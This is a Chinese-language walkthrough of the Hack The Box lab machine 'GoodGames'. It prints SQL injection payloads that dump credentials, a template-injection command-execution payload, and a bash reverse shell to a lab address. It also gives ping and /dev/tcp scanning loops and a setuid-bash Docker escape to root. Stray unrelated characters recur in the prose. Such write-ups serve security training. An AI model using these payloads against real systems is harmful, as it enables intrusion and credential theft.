logo.png
知識(shí)點(diǎn)
1、sql注入
2、模板注入
3扰才、docker逃逸（沒有nmap等工具是應(yīng)該如何執(zhí)行主機(jī)掃描和端口掃描）
4召锈、setuid提權(quán)
WP
常規(guī)nmap掃描，只找到了80端口的http服務(wù)
┌──(root??192)-[/home/kali]
└─# nmap -sC -sV 10.10.11.130
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-14 13:41 CST
Nmap scan report for 10.10.11.130
Host is up (0.28s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open ssl/http Werkzeug/2.0.2 Python/3.9.2
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
直接訪問web頁(yè)面，在靶機(jī)中應(yīng)該算是比較炫酷的主頁(yè)了
01.png
爆破子目錄，這里報(bào)錯(cuò)了，我們還是應(yīng)該找到域名再去爆破目錄板熊，一般在頁(yè)面上點(diǎn)擊有可能會(huì)顯示跳轉(zhuǎn)的域名，但是我嘗試了一下不太行察绷。
┌──(root??192)-[/home/kali]
└─# gobuster dir -u http://10.10.11.130/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -r -b 302
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.130/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 302
[+] User Agent: gobuster/3.5
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2023/03/14 13:46:48 Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.11.130/a25fddfa-faea-46d6-ae07-5fe9921fbcd7 => 200 (Length: 9265). To continue please exclude the status code or the length
翻到頁(yè)面最底下干签，顯示了域名GoodGames.HTB
02.png
注冊(cè)一個(gè)賬戶嘗試登陸，發(fā)現(xiàn)可以正常登陸成功拆撼，于是抓包登陸過程容劳，開始嘗試sql注入
03.png
登陸進(jìn)來就是admin賬戶
04.png
復(fù)制http請(qǐng)求丟盡sqlmap里面跑喘沿，但是沒有跑出結(jié)果，只能嘗試手工注入了竭贩。
發(fā)現(xiàn)回顯點(diǎn)是第四個(gè)字段
email=a'UNION SELECT 1,2,3,4 -- -&password=
05.png
數(shù)據(jù)庫(kù)名稱是main
06.png
查看當(dāng)前數(shù)據(jù)庫(kù)中的表名蚜印，發(fā)現(xiàn)三個(gè)表blog，blog_comment留量，user
email=a'UNION SELECT 1,2,3,concat(table_name,'$') from INFORMATION_SCHEMA.TABLES where table_schema=database() -- -&password=
07.png
顯示表結(jié)構(gòu)窄赋，user表中有email，id楼熄，name忆绰，password幾個(gè)字段
email=a'UNION SELECT 1,2,3,concat(column_name,'$') from INFORMATION_SCHEMA.COLUMNS where table_name="user" -- -&password=
08.png
dump出表內(nèi)容
email=a'UNION SELECT 1,2,3,concat(name,'\n',password) from user limit 10 -- -&password=
10.png
找到了密碼，密碼為superadministrator
09.png
得到這個(gè)密碼暫時(shí)還不知道能干嘛可岂，繼續(xù)看頁(yè)面错敢，右上角有一個(gè)設(shè)置按鈕，點(diǎn)擊會(huì)跳轉(zhuǎn)到一個(gè)子域名http://internal-administration.goodgames.htb/青柄，將其添加進(jìn)hosts文件
11.png
發(fā)現(xiàn)是一個(gè)flask登陸頁(yè)面伐债，這里可以使用剛才的用戶名密碼嘗試登陸
12.png
成功登陸到后臺(tái)预侯，看了下是一個(gè)Volt模板致开，又是flask，所以肯定要測(cè)試下模板注入萎馅，首先我需要找到一個(gè)有輸入双戳，有回顯的地方進(jìn)行測(cè)試。我找到的是settings頁(yè)面
13.png
成功測(cè)試出了模板注入漏洞
14.png
可以看到權(quán)限很高糜芳，直接就是root
{{ namespace.__init__.__globals__.os.popen('id').read() }}
15.png
反彈shell回來
{{namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.4/1234 0>&1"').read()}}
root@3a453ab39d3d:/home/augustus# cat user.txt
cat user.txt
650fb0d7e814c6cf6bddbd94207cd90f
反彈的shll很不穩(wěn)定飒货，獲得一個(gè)更好的shll
root@3a453ab39d3d:/backend# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@3a453ab39d3d:/backend# ^Z
zsh: suspended nc -lvvp 1234
┌──(root??192)-[/home/kali]
└─# stty raw -echo; fg 1 ? 1 ?
[1] + continued nc -lvvp 1234
root@3a453ab39d3d:/backend#
轉(zhuǎn)到root目錄下查看flag時(shí)候發(fā)現(xiàn)并沒有flag保存，發(fā)現(xiàn)事情并不簡(jiǎn)單峭竣。
root@3a453ab39d3d:/backend# cat /root/root.txt
cat: /root/root.txt: No such file or directory
root@3a453ab39d3d:/backend# cd /root
root@3a453ab39d3d:~# ls
root@3a453ab39d3d:~#
運(yùn)行la -al /發(fā)現(xiàn).dockerenv塘辅，確認(rèn)我們?cè)赿ocker容器中，我們需要從docker逃脫到主機(jī)上皆撩。
root@3a453ab39d3d:~# ls -al /
total 88
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
-rwxr-xr-x 1 root root 0 Nov 5 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Nov 5 2021 backend
drwxr-xr-x 1 root root 4096 Nov 5 2021 bin
drwxr-xr-x 2 root root 4096 Oct 20 2018 boot
drwxr-xr-x 5 root root 340 Mar 14 02:49 dev
drwxr-xr-x 1 root root 4096 Nov 5 2021 etc
drwxr-xr-x 1 root root 4096 Nov 5 2021 home
drwxr-xr-x 1 root root 4096 Nov 16 2018 lib
drwxr-xr-x 2 root root 4096 Nov 12 2018 lib64
drwxr-xr-x 2 root root 4096 Nov 12 2018 media
drwxr-xr-x 2 root root 4096 Nov 12 2018 mnt
drwxr-xr-x 2 root root 4096 Nov 12 2018 opt
dr-xr-xr-x 196 root root 0 Mar 14 02:49 proc
drwx------ 1 root root 4096 Mar 14 04:40 root
drwxr-xr-x 3 root root 4096 Nov 12 2018 run
drwxr-xr-x 1 root root 4096 Nov 5 2021 sbin
drwxr-xr-x 2 root root 4096 Nov 12 2018 srv
dr-xr-xr-x 13 root root 0 Mar 14 02:49 sys
drwxrwxrwt 1 root root 4096 Nov 5 2021 tmp
drwxr-xr-x 1 root root 4096 Nov 12 2018 usr
drwxr-xr-x 1 root root 4096 Nov 12 2018 var
嘗試在這臺(tái)主機(jī)上掃描C段IP
root@3a453ab39d3d:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 13659 bytes 3073446 (2.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 11577 bytes 7978216 (7.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.111 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.075 ms
# 端口掃描
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
發(fā)現(xiàn)172.19.0.1主機(jī)是存活的扣墩，這個(gè)主機(jī)應(yīng)該就是宿主機(jī)。進(jìn)行端口掃描之后發(fā)現(xiàn)開放了22和80端口
使用augustus:superadministrator嘗試登陸宿主機(jī)
root@3a453ab39d3d:/home# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 14 04:47:25 2023 from 172.19.0.2
augustus@GoodGames:~$ sudo -l
-bash: sudo: command not found
augustus@GoodGames:~$ find / -user root -perm /4000 2>/dev/null
/home/augustus/bash
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
augustus@GoodGames:~$ cd /home
augustus@GoodGames:/home$ ls
augustus
augustus@GoodGames:/home$ cd augustus/
augustus@GoodGames:~$ ls
bash test user.txt
在docker中新建一個(gè)測(cè)試文件扛吞，修改文件的權(quán)限后發(fā)現(xiàn)宿主機(jī)中文件的權(quán)限也會(huì)跟著變
root@3a453ab39d3d:/home/augustus# touch mytest
root@3a453ab39d3d:/home/augustus# ls -al mytest
-rw-r--r-- 1 root root 0 Mar 14 08:08 mytest
# 切換到宿主機(jī)中查看權(quán)限
augustus@GoodGames:~$ ls -al
total 1236
drwxr-xr-x 3 augustus augustus 4096 Mar 14 08:08 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
-rwsrwxrwx 1 root root 1234376 Mar 14 04:55 bash
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
drwx------ 3 augustus augustus 4096 Mar 14 04:50 .gnupg
-rwSr--r-- 1 root root 0 Mar 14 08:08 mytest
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r--r-- 1 root root 0 Mar 14 04:53 test
-rw-r----- 1 root augustus 33 Mar 14 02:49 user.txt
給bash加上s位呻惕，直接在宿主機(jī)中執(zhí)行.bash -p獲取shell，得到的是root權(quán)限
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
8c3edc1cbe6d1e9185a2ac3ac6c3c5ea
bash-5.1#
